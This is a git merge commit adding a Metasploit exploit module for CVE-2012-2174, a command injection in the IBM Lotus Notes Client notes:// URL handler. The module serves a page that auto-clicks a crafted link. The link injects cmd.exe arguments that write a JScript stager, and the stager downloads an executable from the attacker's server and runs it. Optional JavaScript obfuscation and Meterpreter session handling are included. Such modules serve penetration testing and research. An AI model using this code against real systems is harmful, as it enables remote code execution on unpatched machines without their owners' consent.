Merge branch 'notes_handler_cmdinject' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-notes_handler_cmdinject

Author: sinn3r

modules/exploits/windows/browser/notes_handler_cmdinject.rb

@@ -0,0 +1,189 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::EXE
+	include Msf::Exploit::FileDropper
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "IBM Lotus Notes Client URL Handler Command Injection",
+			'Description'    => %q{
+					This modules exploits a command injection vulnerability in the URL handler for
+				for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
+				an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
+				arguments. This module has been tested successfully on Windows XP SP3 with IE8,
+				Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Moritz Jodeit', # Vulnerability discovery
+					'Sean de Regge', # Vulnerability analysis
+					'juan vazquez' # Metasploit
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2012-2174' ],
+					[ 'OSVDB', '83063' ],
+					[ 'BID', '54070' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ],
+					[ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
+					[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
+				],
+			'Payload'        =>
+				{
+					'Space'           => 2048,
+					'StackAdjustment' => -3500
+				},
+			'DefaultOptions'  =>
+				{
+					'EXITFUNC'         => "none",
+					'InitialAutoRunScript' => 'migrate -k -f'
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', {} ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Jun 18 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+			], self.class)
+	end
+
+	def exploit
+		@exe_name = rand_text_alpha(2) + ".exe"
+		@stage_name = rand_text_alpha(2) + ".js"
+		super
+	end
+
+	def on_new_session(session)
+		if session.type == "meterpreter"
+			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
+		end
+
+		@dropped_files.delete_if do |file|
+			win_file = file.gsub("/", "\\\\")
+			if session.type == "meterpreter"
+				begin
+					wintemp = session.fs.file.expand_path("%TEMP%")
+					win_file = "#{wintemp}\\#{win_file}"
+					# Meterpreter should do this automatically as part of
+					# fs.file.rm().  Until that has been implemented, remove the
+					# read-only flag with a command.
+					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
+					session.fs.file.rm(win_file)
+					print_good("Deleted #{file}")
+					true
+				rescue ::Rex::Post::Meterpreter::RequestError
+					print_error("Failed to delete #{win_file}")
+					false
+				end
+
+			end
+		end
+
+	end
+
+	def on_request_uri(cli, request)
+
+		if request.uri =~ /\.exe$/
+			return if ((p=regenerate_payload(cli))==nil)
+			register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
+			register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
+			data = generate_payload_exe({:code=>p.encoded})
+			print_status("Sending payload")
+			send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
+			return
+		end
+
+		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+		if datastore['SSL']
+			schema = "https"
+		else
+			schema = "http"
+		end
+		uri = "#{schema}://#{my_host}"
+		uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe"
+
+		script = "var w=new ActiveXObject('wscript.shell');"
+		script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
+		script << "var x=new ActiveXObject('Microsoft.XMLHTTP');"
+		script << "x.open('GET','#{uri}', false);"
+		script << "x.send();"
+		script << "var s=new ActiveXObject('ADODB.Stream');"
+		script << "s.Mode=3;"
+		script << "s.Type=1;"
+		script << "s.Open();"
+		script << "s.Write(x.responseBody);"
+		script << "s.SaveToFile('#{@exe_name}',2);"
+		script << "w.Run('#{@exe_name}');"
+
+		vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM"
+
+		link_id = rand_text_alpha(5 + rand(5))
+
+		js_click_link = %Q|
+		function clickLink(link) {
+			var cancelled = false;
+
+			if (document.createEvent) {
+				var event = document.createEvent("MouseEvents");
+				event.initMouseEvent("click", true, true, window,
+					0, 0, 0, 0, 0,
+					false, false, false, false,
+					0, null);
+				cancelled = !link.dispatchEvent(event);
+			}
+			else if (link.fireEvent) {
+				cancelled = !link.fireEvent("onclick");
+			}
+
+			if (!cancelled) {
+				window.location = link.href;
+			}
+		}
+		|
+
+		if datastore['OBFUSCATE']
+			js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
+			js_click_link.obfuscate
+			js_click_link_fn = js_click_link.sym('clickLink')
+		else
+			js_click_link_fn = 'clickLink'
+		end
+
+
+		html = <<-EOS
+		<html>
+		<head>
+		<script>
+		#{js_click_link}
+		</script>
+		</head>
+		<body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));">
+		<a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a>
+		</body>
+		</html>
+		EOS
+
+		print_status("Sending html")
+		send_response(cli, html, {'Content-Type'=>'text/html'})
+
+	end
+
+end